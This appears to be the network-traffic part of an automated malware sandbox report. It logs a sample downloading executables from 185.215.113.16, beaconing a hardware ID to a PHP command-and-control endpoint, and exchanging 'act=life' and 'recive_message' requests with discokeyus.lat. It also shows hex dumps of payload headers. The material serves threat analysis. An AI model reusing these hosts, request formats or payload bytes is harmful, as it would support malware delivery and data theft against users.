Dec 20, 2024 17:17:25.084695101 CET	1.1.1.1	192.168.2.6	0xd04	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 17:17:25.084695101 CET	1.1.1.1	192.168.2.6	0xd04	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:17:44.922008038 CET	1.1.1.1	192.168.2.6	0x2036	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 17:17:44.922008038 CET	1.1.1.1	192.168.2.6	0x2036	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:17:44.922008038 CET	1.1.1.1	192.168.2.6	0x2036	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:18:01.146528006 CET	1.1.1.1	192.168.2.6	0x3483	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 17:18:01.146528006 CET	1.1.1.1	192.168.2.6	0x3483	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.99	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:18:01.146528006 CET	1.1.1.1	192.168.2.6	0x3483	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.101	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:18:01.146528006 CET	1.1.1.1	192.168.2.6	0x3483	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:18:01.146528006 CET	1.1.1.1	192.168.2.6	0x3483	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.100	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:18:01.146528006 CET	1.1.1.1	192.168.2.6	0x3483	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.98	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discokeyus.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49809	185.215.113.16	80	6052	C:\Users\user\Desktop\uDTW3VjJJT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:17:41.905440092 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 17:17:43.251642942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:17:42 GMT Content-Type: application/octet-stream Content-Length: 2846208 Last-Modified: Fri, 20 Dec 2024 15:44:49 GMT Connection: keep-alive ETag: "676590f1-2b6e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 dc 95 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui`D @ @ @.rsrcD``@.idata f@ljmymddw**h@ajdgxuni +F+@.taggant@+"L+@
Dec 20, 2024 17:17:43.251661062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:17:43.251672983 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:17:43.251799107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:17:43.251811981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:17:43.251823902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:17:43.251840115 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:17:43.252286911 CET	1236	IN	Data Raw: 14 b6 e9 bb 20 90 8a 9b 50 97 e0 bb f8 a0 e0 bb 1e b6 ec bb 20 90 8a 81 f8 92 e0 bb 1a b0 b6 bb 20 a3 b0 be 20 f1 e0 bb 20 93 e0 bb 11 b6 9b bb 20 94 62 8f 20 9e 96 85 1f a0 94 e6 db 97 e8 15 12 95 73 93 20 9e 96 2d 04 9e e0 2b f9 a5 e0 bb 1e ca Data Ascii: P b s -+& X$C$ b s -&+&
Dec 20, 2024 17:17:43.252300024 CET	1236	IN	Data Raw: 18 90 e0 f7 1a 70 e9 81 20 8d e8 a9 19 90 e0 09 1f 88 e9 81 20 f1 ea a9 19 90 e0 45 1f 88 e9 81 20 e9 e9 ad 1f 94 e0 01 1f 42 e9 81 20 a0 97 85 20 90 e0 b0 19 88 e9 81 20 fd eb a9 19 90 e0 a7 1a 88 e9 81 20 49 e9 a9 19 90 e0 c3 24 c5 e8 81 20 f2 Data Ascii: p E B I$ $ ! W O ! ~ ! ? !&
Dec 20, 2024 17:17:43.252311945 CET	1236	IN	Data Raw: 20 05 e0 62 1e ae e0 3c 21 37 e9 81 20 25 e0 62 1e a4 e0 44 21 37 e9 81 20 15 e0 62 1e 90 e0 64 21 37 e9 bc 20 65 e0 ec 19 b5 e0 54 21 cb 97 e7 20 7d e0 f1 19 cc e0 6c 21 b2 96 fc 20 4d e0 0f 1a d7 e0 a4 21 cb 97 c6 20 4d e0 87 25 ed e0 ac 21 6d Data Ascii: b<!7 %bD!7 bd!7 eT! }l! M! M%!m Et!'!Et!6!!7 ! # ! 9 ! 7 ! J l! < b! ( g! # b! ( q! [ {!
Dec 20, 2024 17:17:43.371507883 CET	1236	IN	Data Raw: dd ef ac c4 da e5 43 fd d3 ef 5c da e7 ef 52 c1 d9 d7 e0 ce e5 ec 5a c4 e7 d1 43 cc d5 d1 5e d4 c3 d3 53 c9 da d5 ab bb d7 d3 43 c8 e1 e8 a1 c2 e5 ec 43 c7 d3 d3 57 bb d7 d1 5e d1 d9 d3 ad da e5 ec 5e ca d6 ff af cd d9 e2 a9 fe e1 ea e0 ce e5 ec Data Ascii: C\RZC^SCCW^^ZCSST^SS SS S__ZCR _^^^ZCC
Dec 20, 2024 17:17:48.114572048 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 17:17:48.564304113 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:17:47 GMT Content-Type: application/octet-stream Content-Length: 2883584 Last-Modified: Fri, 20 Dec 2024 15:46:44 GMT Connection: keep-alive ETag: "67659164-2c0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4f 00 00 04 00 00 dd 9b 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(0O@`O,@M$a$$ $h@.rsrc$x@.idata $z@ojvirhut`$^\|@ueswzroq O+@.taggant00O"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49849	185.215.113.206	80	6628	C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:17:56.660610914 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:17:58.007893085 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:17:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 17:17:58.095632076 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGCFCAFIIEBGCBFCAKK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 31 33 39 46 34 42 32 33 45 38 32 30 37 38 35 38 38 37 32 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 2d 2d 0d 0a Data Ascii: ------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="hwid"D4139F4B23E82078588720------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="build"stok------FCGCFCAFIIEBGCBFCAKK--
Dec 20, 2024 17:17:58.547003031 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:17:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49725	104.21.21.99	443	6052	C:\Users\user\Desktop\uDTW3VjJJT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:17:15 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 16:17:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 16:17:15 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:17:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9e1ef28bjf0bhdjmeofcnrtgfj; expires=Tue, 15 Apr 2025 10:03:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V2wmcuCIjwBv3bxIuhk4M%2F4s0I8vwZJsUx9oSJYam8Ji1%2FFBFYnI3CvTG7fQr6hXcGkxGEj7zj4rDN%2BiHQnkwSPgqb11mZyIyG%2BTYMOI8zTuCv4OR0x6aZHPyIMt6gxhlw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50f1070fb44387-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1680&min_rtt=1671&rtt_var=646&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=905&delivery_rate=1669525&cwnd=47&unsent_bytes=0&cid=aff340489ef3cc6f&ts=788&x=0"
2024-12-20 16:17:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 16:17:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49731	104.21.21.99	443	6052	C:\Users\user\Desktop\uDTW3VjJJT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:17:17 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: discokeyus.lat
2024-12-20 16:17:17 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-20 16:17:17 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nka55jt963jelh6qo2hi3ae8es; expires=Tue, 15 Apr 2025 10:03:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kvd96xCOF8VohplOjf%2BBjI%2BLpwCKQhcB0cJyYtYf2LicxVngasauXl66TlLIUkyciKi%2FsEX5N6fkJkxJ7CDj4Jw1COA9vF4owILdbuEchVT4gWLOZIefctIXzkC9s7POQQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50f1139db0c481-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&min_rtt=1715&rtt_var=685&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=945&delivery_rate=1702623&cwnd=236&unsent_bytes=0&cid=a88b1337a8b40840&ts=788&x=0"
2024-12-20 16:17:17 UTC	244	IN	Data Raw: 34 39 31 63 0d 0a 49 7a 39 67 43 72 42 67 5a 4c 2f 47 4b 4a 54 31 50 53 79 45 45 6f 57 46 6e 50 2b 57 45 56 74 31 43 75 48 42 32 41 49 66 71 4c 39 59 48 52 59 6f 69 6c 52 49 6e 62 56 4e 74 73 39 4a 58 76 46 33 71 61 66 39 6d 37 51 72 50 52 52 6d 6b 71 54 30 49 47 6e 46 6e 52 6c 5a 41 57 62 44 42 55 69 64 6f 31 43 32 7a 32 5a 58 70 6e 66 72 70 36 62 64 38 33 73 35 46 47 61 44 6f 4c 4e 74 62 38 54 63 53 31 4d 48 59 74 55 44 41 4e 36 71 52 66 47 51 57 45 33 75 66 4f 7a 6f 39 4a 4b 30 50 58 6b 51 63 4d 50 37 2b 6b 39 36 33 4e 35 75 58 68 4e 68 6b 68 31 49 78 4f 52 4e 2b 74 63 48 44 75 56 33 35 2b 6e 36 6d 2f 31 35 4d 78 31 75 67 71 57 79 63 6e 62 4f 31 30 74 64 42 47 50 66 43 68 54 54 6f 45 4c 36 6c 6c 4a 4e 70 6a 36 6e 34 4f Data Ascii: 491cIz9gCrBgZL/GKJT1PSyEEoWFnP+WEVt1CuHB2AIfqL9YHRYoilRInbVNts9JXvF3qaf9m7QrPRRmkqT0IGnFnRlZAWbDBUido1C2z2ZXpnfrp6bd83s5FGaDoLNtb8TcS1MHYtUDAN6qRfGQWE3ufOzo9JK0PXkQcMP7+k963N5uXhNhkh1IxORN+tcHDuV35+n6m/15Mx1ugqWycnbO10tdBGPfChTToEL6llJNpj6n4O
2024-12-20 16:17:17 UTC	1369	IN	Data Raw: 62 64 72 44 4e 71 4a 57 75 53 73 71 39 74 62 63 79 64 58 68 4d 62 4b 4e 55 4f 52 6f 58 6b 51 76 71 5a 57 6b 33 70 64 2b 62 6e 37 4a 4c 30 63 44 45 66 62 49 6d 73 74 57 39 7a 77 4e 70 4a 56 41 56 6e 31 51 6f 41 30 71 63 4b 75 4e 64 59 56 71 59 6f 70 38 66 75 6e 76 64 6e 4e 41 59 6f 6e 4f 32 6a 49 48 72 47 6e 52 6b 64 42 47 62 54 44 77 62 50 72 45 48 39 6b 6b 31 46 37 33 33 71 35 2f 4f 58 2b 33 41 35 45 47 4b 4a 72 4c 42 6b 63 4d 66 62 51 56 31 43 4a 70 49 46 48 70 33 38 43 74 57 53 54 30 6e 71 5a 71 58 64 76 6f 4b 36 61 6e 6b 51 5a 4d 50 37 2b 6d 68 34 79 64 35 4b 55 67 46 67 32 52 41 47 7a 36 4a 48 38 34 56 5a 53 2b 68 36 35 50 58 30 6b 2f 4a 77 4d 42 78 68 68 71 53 2b 49 44 4f 4b 32 6c 6b 64 57 69 6a 7a 44 77 33 52 72 6c 33 32 31 30 41 41 2f 7a 44 67 36 Data Ascii: bdrDNqJWuSsq9tbcydXhMbKNUORoXkQvqZWk3pd+bn7JL0cDEfbImstW9zwNpJVAVn1QoA0qcKuNdYVqYop8funvdnNAYonO2jIHrGnRkdBGbTDwbPrEH9kk1F733q5/OX+3A5EGKJrLBkcMfbQV1CJpIFHp38CtWST0nqZqXdvoK6ankQZMP7+mh4yd5KUgFg2RAGz6JH84VZS+h65PX0k/JwMBxhhqS+IDOK2lkdWijzDw3Rrl3210AA/zDg6
2024-12-20 16:17:17 UTC	1369	IN	Data Raw: 38 4e 42 73 6f 7a 65 4f 39 65 44 32 53 6e 57 74 65 46 6d 76 59 51 44 50 65 71 6b 54 78 67 52 39 52 71 47 6d 6e 34 50 4c 64 72 44 4d 30 46 6d 43 46 73 62 56 74 66 73 54 54 54 6c 67 4e 59 4e 49 43 43 39 69 67 51 66 32 55 55 6b 72 30 65 75 66 76 2b 35 7a 2b 65 58 6c 5a 4b 49 53 37 2b 6a 67 39 2b 38 70 4b 48 7a 64 72 33 41 77 42 79 2b 52 56 75 49 34 66 53 65 6f 77 76 36 66 7a 6c 66 46 32 4e 68 5a 69 6a 61 61 77 62 48 58 45 33 6c 4e 53 42 6d 6a 65 43 67 7a 51 71 6b 37 2b 6e 6c 52 46 34 48 44 6d 37 62 37 54 74 48 51 68 56 7a 44 44 6c 37 31 73 63 4d 57 66 64 46 34 4d 5a 74 55 55 52 73 4c 71 55 37 61 51 55 77 36 2b 4d 4f 76 75 2f 70 62 2b 64 7a 6b 51 5a 59 61 67 76 57 4e 77 7a 64 64 50 57 67 5a 6b 32 77 38 41 33 61 4e 4f 38 34 56 61 52 2b 70 38 70 36 6d 2b 6d 75 Data Ascii: 8NBsozeO9eD2SnWteFmvYQDPeqkTxgR9RqGmn4PLdrDM0FmCFsbVtfsTTTlgNYNICC9igQf2UUkr0eufv+5z+eXlZKIS7+jg9+8pKHzdr3AwBy+RVuI4fSeowv6fzlfF2NhZijaawbHXE3lNSBmjeCgzQqk7+nlRF4HDm7b7TtHQhVzDDl71scMWfdF4MZtUURsLqU7aQUw6+MOvu/pb+dzkQZYagvWNwzddPWgZk2w8A3aNO84VaR+p8p6m+mu
2024-12-20 16:17:17 UTC	1369	IN	Data Raw: 4b 49 53 76 2b 6a 67 39 77 39 52 54 55 77 78 68 33 77 51 4f 32 71 70 48 2f 5a 46 55 53 65 46 32 36 75 2f 7a 6d 50 64 79 50 52 31 36 67 4b 69 77 62 58 65 4b 6b 77 46 61 47 69 69 4b 51 69 48 52 6a 56 72 74 68 55 6b 4f 2b 54 37 2b 70 2f 6d 52 74 43 74 35 46 47 65 4b 72 4c 4a 6f 63 73 58 5a 54 31 73 45 5a 64 63 4e 44 4d 2b 73 52 50 75 63 55 45 58 30 63 4f 72 6a 38 70 6e 38 65 44 4e 58 4a 73 4f 6b 6f 69 41 6c 69 75 68 4d 55 67 4a 72 78 45 49 5a 6b 37 30 4b 38 5a 73 66 46 71 5a 38 36 65 66 78 6b 66 68 34 4d 52 5a 6b 6a 61 53 2f 61 58 58 43 7a 30 42 5a 43 6d 6e 63 44 51 66 5a 6f 55 2f 79 6b 46 74 49 36 54 43 70 70 2f 6d 46 74 43 74 35 4f 45 2b 32 34 5a 74 61 50 64 57 54 57 42 30 46 5a 4a 4a 61 52 74 47 6e 52 76 36 59 57 55 66 71 65 75 37 73 38 70 62 77 66 7a 41 Data Ascii: KISv+jg9w9RTUwxh3wQO2qpH/ZFUSeF26u/zmPdyPR16gKiwbXeKkwFaGiiKQiHRjVrthUkO+T7+p/mRtCt5FGeKrLJocsXZT1sEZdcNDM+sRPucUEX0cOrj8pn8eDNXJsOkoiAliuhMUgJrxEIZk70K8ZsfFqZ86efxkfh4MRZkjaS/aXXCz0BZCmncDQfZoU/ykFtI6TCpp/mFtCt5OE+24ZtaPdWTWB0FZJJaRtGnRv6YWUfqeu7s8pbwfzA
2024-12-20 16:17:17 UTC	1369	IN	Data Raw: 72 74 6d 62 38 33 55 55 31 4d 50 5a 39 6f 4b 44 39 79 67 54 2f 75 52 55 30 54 6e 64 2b 6e 70 39 74 32 36 4d 7a 34 50 4b 4e 76 6a 6d 33 42 6d 32 4d 74 4d 66 41 39 6e 6b 68 31 49 78 4f 52 4e 2b 74 63 48 44 75 39 69 34 2b 72 73 6c 50 4e 39 4e 68 52 36 67 71 36 78 63 6e 72 46 32 55 5a 52 42 47 66 55 41 77 50 58 71 45 33 7a 6e 46 42 43 70 6a 36 6e 34 4f 62 64 72 44 4d 58 48 48 75 55 6f 4c 52 72 61 39 47 64 58 68 4d 62 4b 4e 55 4f 52 6f 58 6b 53 66 32 63 57 30 37 71 63 4f 50 71 2f 6f 2f 37 64 44 34 65 59 35 47 70 76 57 64 32 77 74 5a 4f 57 78 42 6b 33 42 41 44 7a 37 59 4b 75 4e 64 59 56 71 59 6f 70 39 48 35 6a 65 52 77 65 79 5a 2b 67 4c 57 78 62 58 47 4b 77 67 39 45 51 6d 2f 65 51 6c 36 64 6f 6b 58 2f 6c 46 42 50 37 33 7a 71 34 76 65 59 39 58 55 39 48 57 4b 44 Data Ascii: rtmb83UU1MPZ9oKD9ygT/uRU0Tnd+np9t26Mz4PKNvjm3Bm2MtMfA9nkh1IxORN+tcHDu9i4+rslPN9NhR6gq6xcnrF2UZRBGfUAwPXqE3znFBCpj6n4ObdrDMXHHuUoLRra9GdXhMbKNUORoXkSf2cW07qcOPq/o/7dD4eY5GpvWd2wtZOWxBk3BADz7YKuNdYVqYop9H5jeRweyZ+gLWxbXGKwg9EQm/eQl6dokX/lFBP73zq4veY9XU9HWKD
2024-12-20 16:17:17 UTC	1369	IN	Data Raw: 4b 45 78 41 46 61 44 69 69 4b 51 67 58 61 70 30 76 38 6e 6c 4e 42 34 58 54 31 37 66 6d 50 39 58 49 79 47 6d 53 44 72 72 64 71 66 4d 50 51 54 56 41 46 62 39 30 48 52 70 50 6b 54 65 37 58 42 77 37 48 66 65 7a 72 70 63 65 30 62 48 63 4f 4b 49 53 76 2b 6a 67 39 79 74 64 45 56 77 39 72 33 51 45 55 33 4b 4a 59 39 70 70 56 58 4f 78 37 34 75 72 7a 6b 50 64 31 50 78 78 6b 6b 61 71 36 59 33 61 4b 6b 77 46 61 47 69 69 4b 51 69 58 4b 73 6b 44 78 6d 30 6c 46 35 33 50 78 36 75 37 64 75 6a 4d 6f 45 48 6e 44 2b 36 78 77 61 73 33 43 44 30 52 43 62 39 35 43 58 70 32 69 51 2f 43 51 57 55 44 30 64 65 48 6f 38 5a 54 39 64 7a 45 55 61 49 65 6e 76 57 56 2b 78 74 5a 47 58 67 31 73 32 77 77 50 30 75 51 45 74 70 42 48 44 72 34 77 78 76 7a 39 6b 66 6b 7a 4a 6c 6c 78 77 36 53 32 49 Data Ascii: KExAFaDiiKQgXap0v8nlNB4XT17fmP9XIyGmSDrrdqfMPQTVAFb90HRpPkTe7XBw7Hfezrpce0bHcOKISv+jg9ytdEVw9r3QEU3KJY9ppVXOx74urzkPd1Pxxkkaq6Y3aKkwFaGiiKQiXKskDxm0lF53Px6u7dujMoEHnD+6xwas3CD0RCb95CXp2iQ/CQWUD0deHo8ZT9dzEUaIenvWV+xtZGXg1s2wwP0uQEtpBHDr4wxvz9kfkzJllxw6S2I
